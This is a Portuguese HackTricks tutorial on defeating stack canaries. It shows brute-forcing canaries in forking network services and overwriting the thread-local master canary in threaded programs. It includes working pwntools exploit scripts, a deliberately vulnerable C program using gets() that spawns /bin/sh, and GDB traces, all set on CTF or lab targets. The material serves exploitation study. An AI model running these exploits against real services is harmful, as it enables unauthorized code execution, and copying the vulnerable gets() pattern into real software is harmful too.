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# BF Forked & Threaded Stack Canaries
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<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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</details>
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**Se você estiver lidando com um binário protegido por um canário e PIE (Position Independent Executable), provavelmente precisará encontrar uma maneira de contorná-los.**
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.png>)
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{% hint style="info" %}
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Observe que o **`checksec`** pode não encontrar que um binário está protegido por um canário se ele foi compilado estaticamente e não é capaz de identificar a função.\
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No entanto, você pode notar manualmente isso se encontrar que um valor é salvo na pilha no início de uma chamada de função e esse valor é verificado antes de sair.
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{% endhint %}
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## Brute force no Canary
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A melhor maneira de contornar um canário simples é se o binário for um programa **criando processos filhos toda vez que você estabelece uma nova conexão** com ele (serviço de rede), porque toda vez que você se conecta a ele **o mesmo canário será usado**.
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Então, a melhor maneira de contornar o canário é apenas **forçá-lo caractere por caractere**, e você pode descobrir se o byte do canário adivinhado estava correto verificando se o programa travou ou continua seu fluxo regular. Neste exemplo, a função **força bruta um canário de 8 Bytes (x64)** e distingue entre um byte adivinhado correto e um byte ruim apenas **verificando** se uma **resposta** é enviada de volta pelo servidor (outra maneira em **outras situações** poderia ser usando um **try/except**):
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### Exemplo 1
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Este exemplo é implementado para 64 bits, mas poderia ser facilmente implementado para 32 bits.
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```python
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from pwn import *
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def connect():
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r = remote("localhost", 8788)
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def get_bf(base):
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canary = ""
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guess = 0x0
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base += canary
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while len(canary) < 8:
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while guess != 0xff:
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r = connect()
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r.recvuntil("Username: ")
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r.send(base + chr(guess))
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if "SOME OUTPUT" in r.clean():
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print "Guessed correct byte:", format(guess, '02x')
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canary += chr(guess)
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base += chr(guess)
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guess = 0x0
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r.close()
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break
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else:
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guess += 1
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r.close()
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print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
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return base
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canary_offset = 1176
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base = "A" * canary_offset
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print("Brute-Forcing canary")
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base_canary = get_bf(base) #Get yunk data + canary
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CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
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```
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### Exemplo 2
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Isso é implementado para 32 bits, mas poderia ser facilmente alterado para 64 bits.\
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Também observe que, para este exemplo, o **programa espera primeiro um byte para indicar o tamanho da entrada** e a carga útil.
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```python
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from pwn import *
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# Here is the function to brute force the canary
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def breakCanary():
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known_canary = b""
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test_canary = 0x0
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len_bytes_to_read = 0x21
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for j in range(0, 4):
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# Iterate up to 0xff times to brute force all posible values for byte
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for test_canary in range(0xff):
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print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
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# Send the current input size
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target.send(len_bytes_to_read.to_bytes(1, "little"))
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# Send this iterations canary
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target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
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# Scan in the output, determine if we have a correct value
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output = target.recvuntil(b"exit.")
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if b"YUM" in output:
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# If we have a correct value, record the canary value, reset the canary value, and move on
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print(" - next byte is: " + hex(test_canary))
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known_canary = known_canary + test_canary.to_bytes(1, "little")
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len_bytes_to_read += 1
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break
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# Return the canary
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return known_canary
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# Start the target process
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target = process('./feedme')
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#gdb.attach(target)
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# Brute force the canary
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canary = breakCanary()
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log.info(f"The canary is: {canary}")
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```
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## Threads
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As threads do mesmo processo também **compartilharão o mesmo token canary**, portanto será possível **forçar** um canary se o binário gerar uma nova thread toda vez que um ataque acontecer. 
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Um estouro de buffer em uma função com threads protegida com canary pode ser usada para modificar o canary principal do processo. Como resultado, a mitigação é inútil porque a verificação é feita com dois canaries que são iguais (embora modificados).
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### Exemplo
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O programa a seguir é vulnerável a Buffer Overflow, mas está compilado com canary:
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```c
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#include <pthread.h>
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#include <stdlib.h>
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#include <stdio.h>
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#include <unistd.h>
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// gcc thread_canary.c -no-pie -l pthread -o thread_canary
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void win() {
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execve("/bin/sh", NULL, NULL);
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}
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void* vuln() {
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char data[0x20];
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gets(data);
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}
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int main() {
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pthread_t thread;
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pthread_create(&thread, NULL, vuln, NULL);
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pthread_join(thread, NULL);
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return 0;
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}
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```
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Observe que `vuln` é chamado dentro de uma thread. No GDB, podemos dar uma olhada em `vuln`, especificamente, no ponto em que o programa chama `gets` para ler os dados de entrada:
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```bash
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gef> break gets
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Breakpoint 1 at 0x4010a0
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gef> run
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...
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gef> x/10gx $rdi
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0x7ffff7d7ee20: 0x0000000000000000 0x0000000000000000
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0x7ffff7d7ee30: 0x0000000000000000 0x0000000000000000
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|
0x7ffff7d7ee40: 0x0000000000000000 0x493fdc653a156800
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0x7ffff7d7ee50: 0x0000000000000000 0x00007ffff7e17ac3
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0x7ffff7d7ee60: 0x0000000000000000 0x00007ffff7d7f640
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```
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O acima representa o endereço de `data`, onde o programa escreverá a entrada do usuário. O canário da pilha é encontrado em `0x7ffff7d7ee48` (`0x493fdc653a156800`), e o endereço de retorno está em `0x7ffff7d7ee50` (`0x00007ffff7e17ac3`):
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```bash
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gef> telescope $rdi 8 -n
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0x7ffff7d7ee20|+0x0000|+000: 0x0000000000000000 <- $rdi
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0x7ffff7d7ee28|+0x0008|+001: 0x0000000000000000
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|
0x7ffff7d7ee30|+0x0010|+002: 0x0000000000000000
|
|
0x7ffff7d7ee38|+0x0018|+003: 0x0000000000000000
|
|
0x7ffff7d7ee40|+0x0020|+004: 0x0000000000000000
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0x7ffff7d7ee48|+0x0028|+005: 0x493fdc653a156800 <- canary
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0x7ffff7d7ee50|+0x0030|+006: 0x0000000000000000 <- $rbp
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0x7ffff7d7ee58|+0x0038|+007: 0x00007ffff7e17ac3 <start_thread+0x2f3> -> 0xe8ff31fffffe6fe9 <- retaddr[2]
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```
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Observe que os endereços da pilha não pertencem à pilha real:
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```bash
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gef> vmmap stack
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[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
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Start End Size Offset Perm Path
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0x00007ffff7580000 0x00007ffff7d83000 0x0000000000803000 0x0000000000000000 rw- <tls-th1><stack-th2> <- $rbx, $rsp, $rbp, $rsi, $rdi, $r12
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0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack] <- $r9, $r15
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```
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O stack da thread é colocado acima do Armazenamento Local da Thread (TLS), onde o canário mestre é armazenado:
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```bash
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gef> tls
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$tls = 0x7ffff7d7f640
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|
...
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---------------------------------------------------------------------------- TLS ----------------------------------------------------------------------------
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0x7ffff7d7f640|+0x0000|+000: 0x00007ffff7d7f640 -> [loop detected] <- $rbx, $r12
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0x7ffff7d7f648|+0x0008|+001: 0x00000000004052b0 -> 0x0000000000000001
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|
0x7ffff7d7f650|+0x0010|+002: 0x00007ffff7d7f640 -> [loop detected]
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0x7ffff7d7f658|+0x0018|+003: 0x0000000000000001
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|
0x7ffff7d7f660|+0x0020|+004: 0x0000000000000000
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0x7ffff7d7f668|+0x0028|+005: 0x493fdc653a156800 <- canary
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0x7ffff7d7f670|+0x0030|+006: 0xb79b79966e9916c4 <- PTR_MANGLE cookie
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|
0x7ffff7d7f678|+0x0038|+007: 0x0000000000000000
|
|
...
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|
```
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{% hint style="info" %}
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Algumas das funções GDB acima são definidas em uma extensão chamada [bata24/gef](https://github.com/bata24/gef), que possui mais recursos do que o [hugsy/gef](https://github.com/hugsy/gef) comum.
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{% endhint %}
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Como resultado, um grande Buffer Overflow pode permitir modificar tanto o stack canary quanto o master canary no TLS. Este é o deslocamento:
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```bash
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gef> p/x 0x7ffff7d7f668 - $rdi
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$1 = 0x848
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```
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Este é um exploit curto para chamar `win`:
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```python
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from pwn import *
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context.binary = 'thread_canary'
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payload = b'A' * 0x28 # buffer overflow offset
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payload += b'BBBBBBBB' # overwritting stack canary
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payload += b'A' * 8 # saved $rbp
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payload += p64(context.binary.sym.win) # return address
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payload += b'A' * (0x848 - len(payload)) # padding
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payload += b'BBBBBBBB' # overwritting master canary
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io = context.binary.process()
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io.sendline(payload)
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io.interactive()
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```
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## Outros exemplos e referências
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* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
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* 64 bits, sem PIE, nx, BF canary, escrever em alguma memória um ROP para chamar `execve` e pular para lá.
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|
* [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
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|
* 64 bits, sem PIE, nx, modificar thread e master canary.
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